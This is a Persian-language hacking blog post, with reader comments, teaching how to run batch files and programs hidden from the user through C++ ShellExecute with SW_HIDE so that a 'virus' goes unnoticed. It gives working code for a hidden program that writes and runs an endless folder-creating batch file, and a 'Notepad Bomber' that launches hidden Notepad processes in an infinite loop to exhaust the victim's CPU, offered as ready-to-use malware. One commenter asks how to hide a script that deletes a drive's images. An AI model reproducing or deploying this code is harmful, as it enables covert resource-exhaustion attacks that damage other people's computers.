اجرای مخفی کدهای bat :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۲۴ آبان ۹۷، ۱۳:۵۴ - Dr.exe32
    thnx
  • ۲۳ آبان ۹۷، ۱۶:۰۲ - masoud
    ramz

همونطور که میدونین وقتی یه بچ فایلی رو اجرا میکنیم ، یه صفحه سیاه رنگ ظاهر میشه و کدهای ما اجرا میشه که اگه ما ویروس نوشته باشیم ، اونموقع ویروسمون خیلی سریع لو میره :(
در نتیجه باید هر طور که شده اونو مخفیش کنیم

توی این پست قراره به کمک زبان سی پلاس پلاس همچین کاریو انجام بدیم که برناممون بیاد بچ فایل مارو بسازه و اونو بصورت مخفی اجرا کنه

یا اینکه اصلا فایل Bat خودمون رو کنار برنامه قرار بدیم و دستور اجرا شدن مخفی اون رو بدیم

نکته مهم اینکه ما میتونیم به جای اجرای مخفی کدهای Bat
هر برنامه ی دیگه ای رو بصورت مخفی توی بک گراند اجرا کنیم
مثلا میتونیم ویروس Notepad Bomber بنویسیم که کداشو  ViRus32 توی این پست که مربوط به ویروس نویسی بود گفته بود
اما با این تفاوت که برنامه ی نوت پد ما بصورت مخفی اجرا بشه و کاربر بویی از چیزی نبره و سی پی یوش کم کم از شدت فشار از کار بیفته :(
خب دیگه زیادی خستتون نمیکنم و کدهارو میگم و والسلام :)

تکه کد پایین قراره کار مارو راه بندازه و برنامه ی مارو بصورت مخفی اجرا کنه

#include <windows.h>

int main() { ShellExecute(NULL, "open", "Path\\FileName", NULL, NULL, SW_HIDE); }

خب حالا از کد بالا استفاده میکنیم برای کارای دیگه ، مثلا کاری میکنیم که برنامه ی ما بیاد و یه بچ فایل تو دسکتاپ بسازه که بچ فایل ما بیاد و کاری کنه که یه پوشه با اسم ViRus32 تو دسکتاپ ساخته شه و پوشه هایی با اسم های تصادفی توی اون بسازه که اجرا شدن فایل ویروس بصورت مخفی هستش ، در نتیجه کد Bat ما به شکل پایین میشه :

MkDir C:\Users\Your_Username\Desktop\ViRus32
Cd C:\Users\%UserName%\Desktop\ViRus32
:Start
MkDir %Random%
Goto Start

که اگه بخوایم توی سی پلاس پلاس اینو بنویسیم و دستور بدیم که اول از همه فایل ویروس رو بسازه و بعدا دستور اجرا شدنش رو بصورت مخفی بده ، میشه به شکل زیر :

#include <windows.h>
#include <fstream>

using namespace std;

int main()
{
    ofstream path("C:\\Users\\Your_Username\\Folder_Maker.bat", ios::out);
    path << "MkDir C:\\Users\\Your_Username\\Desktop\\ViRus32\nCd C:\\Users\\Your_Username\\Desktop\\ViRus32\n:Start\nMkDir %Random%\nGoto Start" << endl;
    path.close();

    ShellExecute(NULL, "open", "C:\\Users\\Your_Username\\Folder_Maker.bat", NULL, NULL, SW_HIDE);
}

نکته : تو کد بالا باید یه خرده تغییر ایجاد کنین وگرنه باید نام کاربری خودتون رو جای Your_Username وارد کنین ... که برای فهمیدن اون یه ذره تغییر هم میتونین مراجعه کنین به کد قبلیش

کدای بالا یه سه چارتایی نکته دیگه داره که خودتون پیداش کنین دیگه ;d حس گفتنش نیس 

ضمنا بعد از اجرای کدهایی که بالاتر گفته شد بهتره که وارد تسک منیجر بشین و خط فرمان رو ببندین وگرنه اگه ابزار کد نویسی یا ...تون رو ببندینش اتفاقی نمیفته و پروسه ی ساخت پوشه همچنان ادامه خواهد داشت تا زمانی که سیستمتون ری استارت بشه

چون ما دستور اجرا شدن یه پروسس رو بصورت مخفی دادیم

در آخر هم میخوایم ویروس نوت پد بمبر رو بنویسیم که نوت پد رو بصورت متداول مخفی اجرا کنه

البته شما بهتره که از کد پایین استفاده کنین تا نوت پد رو ده بار بصورت مخفی اجرا کنه که بتونین از داخل تسک منیجر اونارو ببندینش و سیستمتون زیاد نره زیر هنگ

#include <windows.h>

int main()
{
    for(int i=0;i<=10;i++)
    {
        ShellExecute(NULL, "open", "notepad.exe", NULL, NULL, SW_HIDE);
    }
}

اما اگه میخواین به عنوان یه ویروس آماده استفاده کنین ، میتونین کدها رو داخل حلقه ی نامحدود قرار بدین که کدامون به شکل پایین در میاد که بهتره روی سیستمتون اجرا نشه :)

#include <windows.h>

int main()
{
    while(true)
    {
        ShellExecute(NULL, "open", "notepad.exe", NULL, NULL, SW_HIDE);
    }
}

موفق باشید

نظر (۴)

  • Virus32
  • آقای سر به هوا :)
  • سلام
    یه سوال داشتم ممنون میشم جواب بدی
    دارم برنامه نویسی یاد میگیرم میشه لطف کنی یه مسیر واسه یادگیری زبان های برنامه نویسی بهم نشون بدی؟!
    html-css-php که هیچی...
    از اینجا به بعد باید چی یاد بگیرم؟!
    میخوام برم سمت هک و امنیت و این حرف ها...

    باتشکر
    Virus 32 :
    سلام عزیز
    والا این نوع سوالات در این وب زیاد پرسیده میشه و ما همیشه میمونیم که چی باید بگیم :)
    به نظرم این برمیگرده به خودتون
    شما باید خودتون ببینید به چه زبان ها و چه نوع برنامه هایی علاقه دارین
    در کل هر زبانی رو یاد بگیرید خالی از لطف نخواهد بود
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    ** **** ***** *** **** ***

    ***** *** *** *** **** *** ** **** **

    ***** ** ******** ******** **** *****

    (ستاره فراموش نشه)
    سلام ویروس جان من یکم گیج شدم مثلا من یه فایل بات دارم که تموم عکس های درایو که من مشخص کردم رو پاک میکنه ولی وقتی که ران میکنمش خیلی زود لو میرم مثلا من اونو چطوری توی کد بالا قرار بدم ؟
    سایتم عالیه
    Virus 32 :
    سلام عزیز
    من این پست رو الان دیدم و به نظرم خیلی ساده و روان توضیح داده
    برای انجام این کار باید با برنامه نویسی به زبان سی پلاس پلاس آشنا باشی
    اگر با زبان های حرفه ای تر آشنا نیسی میتونی این پست رو بخونی
    اونجا یه اسکریپتی هست برای مخفی اجرا شدن برنامه
    ولی سعی کن زودتر بری سمت زبان های حرفه ای تر
    کدهای قدیمی یکم دنگ و فنگشون بیشتر شده :)

    سلام ویروس
    میدونم سوال تکراری هست اما میش بگی کدوم زبان رو خودت از بین اینها واسه ویروس نویسی ترجبح میدی؟
    اسمبلی پایتون اتوایت؟
    MR C0D3R :
    هر چی یاد میگیری یاد بگیر ، ضرر نداره :))
    ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
    شما میتوانید از این تگهای html استفاده کنید:
    <b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
    تجدید کد امنیتی